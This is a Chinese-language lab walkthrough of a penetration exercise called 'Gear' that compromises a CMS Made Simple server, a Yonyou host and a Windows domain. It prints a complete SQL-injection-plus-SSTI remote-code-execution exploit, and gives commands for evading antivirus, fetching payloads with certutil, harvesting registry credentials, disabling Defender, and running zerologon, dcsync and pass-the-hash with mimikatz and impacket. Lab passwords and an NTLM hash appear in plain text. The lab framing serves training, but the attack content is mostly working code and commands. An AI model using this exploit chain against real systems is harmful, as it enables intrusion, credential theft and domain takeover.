cyber-Gear


Gear

CMS Made Simple-CVE-2021-26120

给了一个网址,ping一下得ip

image-20260209101728681

1
172.10.59.35

fscan没扫到东西,直接打cve

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
import requests
import sys
import re
from time import sleep
from lxml import etree

def login(s, t, usr):
    uri = "%sadmin/login.php" % t
    s.get(uri)
    d = {
        "username" : usr,
        "password" : usr,
        "loginsubmit" : "Submit"
    }
    r = s.post(uri, data=d)
    match = re.search("style.php\?__c=(.*)\"", r.text)
    assert match, "(-) login failed"
    return match.group(1)

def trigger_or_patch_ssti(s, csrf, t, tpl):
    # CVE-2021-26120
    d = {
        "mact": 'DesignManager,m1_,admin_edit_template,0',
        "__c" : csrf,
        "m1_tpl" : 10,
        "m1_submit" : "Submit",
        "m1_name" : "Simplex",
        "m1_contents" : tpl
    }
    r = s.post("%sadmin/moduleinterface.php" % t, files={}, data=d)
    if"rce()" in tpl:
        r = s.get("%sindex.php" % t)
        assert ("endrce" in r.text), "(-) rce failed!"
        cmdr = r.text.split("endrce")[0]
        print(cmdr.strip())

def determine_bool(t, exp):
    p = {
       "mact" : "News,m1_,default,0",
       "m1_idlist": ",1)) and %s-- " % exp
    }
    r = requests.get("%smoduleinterface.php" % t, params=p) 
    return True if r.text.count("Posted by:") == 2else False

def trigger_sqli(t, char, sql, c_range):
    # CVE-2019-9053
    for i in c_range:
        # <> characters are html escaped so we just have =
        # substr w/ from/for because anymore commas and the string is broken up resulting in an invalid query
        if determine_bool(t, ",1)) and ascii(substr((%s) from %d for 1))=%d-- " % (sql, char, i)): return chr(i) 
    return-1
    
def leak_string(t, sql, leak_name, max_length, c_range):
    sys.stdout.write("(+) %s: " % leak_name)
    sys.stdout.flush()
    leak_string = ""
    for i in range(1,max_length+1):
        c = trigger_sqli(t, i, sql, c_range)
        # username is probably < 25 characters
        if c == -1:
            break
        leak_string += c
        sys.stdout.write(c)
        sys.stdout.flush()
    assert len(leak_string) > 0, "(-) sql injection failed for %s!" % leak_name
    return leak_string    
    
def reset_pwd_stage1(t, usr):
    d = {
        "forgottenusername" : usr,
        "forgotpwform" : 1,
    }
    r = requests.post("%sadmin/login.php" % t, data=d)
    assert ("User Not Found" not in r.text), "(-) password reset failed!"

def reset_pwd_stage2(t, usr, key):
    d = {
        "username" : usr,
        "password" : usr,      # just reset to the username
        "passwordagain" : usr, # just reset to the username
        "changepwhash" : key,
        "forgotpwchangeform": 1,
        "loginsubmit" : "Submit",
    }
    r = requests.post("%sadmin/login.php" % t, data=d)
    match = re.search("Welcome: <a href=\"myaccount.php\?__c=[a-z0-9]*\">(.*)<\/a>", r.text)
    assert match, "(-) password reset failed!"
    assert match.group(1) == usr, "(-) password reset failed!"

def leak_simplex(s, t, csrf):
    p = {
        "mact" : "DesignManager,m1_,admin_edit_template,0",
        "__c" : csrf,
        "m1_tpl" : 10
    }
    r = s.get("%sadmin/moduleinterface.php" % t, params=p)
    page = etree.HTML(r.text)
    tpl = page.xpath("//textarea//text()")
    assert tpl is not None, "(-) leaking template failed!"
    return"".join(tpl)

def remove_locks(s, t, csrf):
    p = {
        "mact" : "DesignManager,m1_,admin_clearlocks,0",
        "__c" : csrf,
        "m1_type" : "template"
    }
    s.get("%sadmin/moduleinterface.php" % t, params=p)

def main():
    if(len(sys.argv) < 4):
        print("(+) usage: %s <host> <path> <cmd>" % sys.argv[0])
        print("(+) eg: %s 192.168.75.141 / id" % sys.argv[0])
        print("(+) eg: %s 192.168.75.141 /cmsms/ \"uname -a\"" % sys.argv[0])
        return
    pth = sys.argv[2]
    cmd = sys.argv[3]
    pth = pth + "/"if not pth.endswith("/") else pth
    pth = "/" + pth if not pth.startswith("/") else pth
    # target = "http://%s%s" % (sys.argv[1], pth)
    target="http://www.my.cs1ab.com/"
    print("(+) targeting %s" % target)
    if determine_bool(target, "1=1") and not determine_bool(target, "1=2"):
        print("(+) sql injection working!")
    print("(+) leaking the username...")
    username = "cslab"
    print("\n(+) resetting the %s's password stage 1" % username)
    reset_pwd_stage1(target, username)
    print("(+) leaking the pwreset token...")
    pwreset = leak_string(
        target,
        "select value from cms_userprefs where preference=0x70777265736574 and user_id=1", # qoutes will break things
        "pwreset",
        32, # md5 hash is always 32
        list(range(48,58)) + list(range(97,103)) # charset: 0-9a-f
    )
    print(pwreset)
    print("\n(+) done, resetting the %s's password stage 2" % username)
    reset_pwd_stage2(target, username, pwreset)
    session = requests.Session()
    # print("(+) logging in...")
    csrf = login(session, target, username)
    # print("(+) leaking simplex template...")
    remove_locks(session, target, csrf)
    simplex_tpl = leak_simplex(session, target, csrf)
    print("(+) injecting payload and executing cmd...\n")
    rce_tpl = "{function name='rce(){};system(\"%s\");function '}{/function}endrce" % cmd
    trigger_or_patch_ssti(session, csrf, target, rce_tpl+simplex_tpl)
    while True:
        r = session.get("%sindex.php" % target)
        if"endrce" not in r.text:
            break
        trigger_or_patch_ssti(session, csrf, target, simplex_tpl)

if __name__ == '__main__':
    main()

大概作用就是

1
SQL注入检测检查目标是否存在-通过SQL注入获取管理员用户名-窃取密码重置token重置管理员密码为cslab - 利用窃取的token重置密码登录系统 - 使用重置后的密码登录模板泄漏 - 获取网站模板SSTI注入 - 通过模板注入执行系统命令-命令执行 - 执行用户提供的任意命令
image-20260209104301726

执行成功了,登入网站,上传shell

1
cslab/cslab

先上传一张免杀马的图片格式,然后改成php,直接传会被杀

image-20260209104248345

免杀马用TscanPlus中自带的就行

image-20260209104454485

然后上线cs烂土豆提权拿hashdump

image-20260209105906067

用友RCE

先关defender,然后上传stowaway与fscan

1
2
windows_x64_admin.exe -l 172.16.233.2:8000 -s 123
win_agent.exe -c 172.16.233.2:8000 -s 123 --reconnect 8

image-20260209110842871

发现172.10.68.30:8088,进去一看是用友,一把梭

image-20260209111122026

上线cs,杀软一小会就把马杀了

1
2
3
certutil -urlcache -split -f http://172.10.68.20/DRX.exe
DRX.exe http://172.10.68.20/DRX.txt
connect 172.10.68.30

image-20260209115357739

teamviewer连接

然后看看用户密码

1
shell reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

image-20260209113548353

1
administrator/U8@cslab
1
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

关杀软开扫

依旧是双网卡

1
2
3
4
10.0.0.59	外网靶机(已拿下)
10.0.0.58	WIN-KNETOKJEB7S
10.0.0.60	DC域控
10.0.0.61	cyberweb

没有web服务,之前RDP关杀软的时候看到了桌面有个teamviewer,在管理员的桌面可以看到密码

image-20260209113935186

内网ip尝试输入后发现10.0.0.58可以连接 ,tm@cslab为teamviewer密码,24d@cs1为该主机administrator密码。直接连上,读取flag即可

image-20260209115649164

zerologon

1
2
3
4
10.0.0.59	外网靶机(已拿下)
10.0.0.58	WIN-KNETOKJEB7S (拿下)
10.0.0.60	DC域控
10.0.0.61	cyberweb

systeminfo看一下,发现已拿下的主机和域控并不是一个域的

image-20260209144944013

那我们直接再找找看

此时连一个域账号也没有,正常来说从域外进入域内有这么几种思路:Ldap匿名访问;域用户枚举;CVE漏洞利用等手段。

后来发现zerologon可以用

1
shell C:\Users\Administrator\Desktop\1\mimikatz.exe "privilege::debug " "lsadump::zerologon /target:10.0.0.60 /account:DC$" "exit"

image-20260209150553735

置空密码

1
shell C:\Users\Administrator\Desktop\1\mimikatz.exe "privilege::debug " "lsadump::zerologon /target:10.0.0.60  /ntlm /null /account:DC$ /exploit" "exit"

image-20260209150800560

导出hash

1
shell C:\Users\Administrator\Desktop\1\mimikatz.exe "lsadump::dcsync /csv /domain:cyberstrikelab.com /dc:DC.cyberstrikelab.com /user:administrator /authuser:DC$ /authpassword:\"\" /authntlm" "exit"

这个命令不行?关主机防火墙,搭二级代理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
admin端:
listen #监听
1
8889 #监听端口为8889

agent端:
shell C:\Users\Administrator\Desktop\1\win_agent.exe -c   172.10.68.20:8889 -s 123 --reconnect 8

admin端:
back
use 1
socks 6666

换脚本

1
proxychains4 python3 secretsdump.py -no-pass cyberstrikelab.com/DC\$@10.0.0.60 -debug

拿到hash直接打hash传递

1
proxychains impacket-psexec -hashes :7b50525da0ea9349b4c698bbe4868544 cyberstrikelab.com/administrator@10.0.0.60
1
proxychains4 impacket-psexec -hashes :7b50525da0ea9349b4c698bbe4868544 cyberstrikelab.com/administrator@10.0.0.61
谢谢观看
使用 Hugo 构建
主题 StackJimmy 设计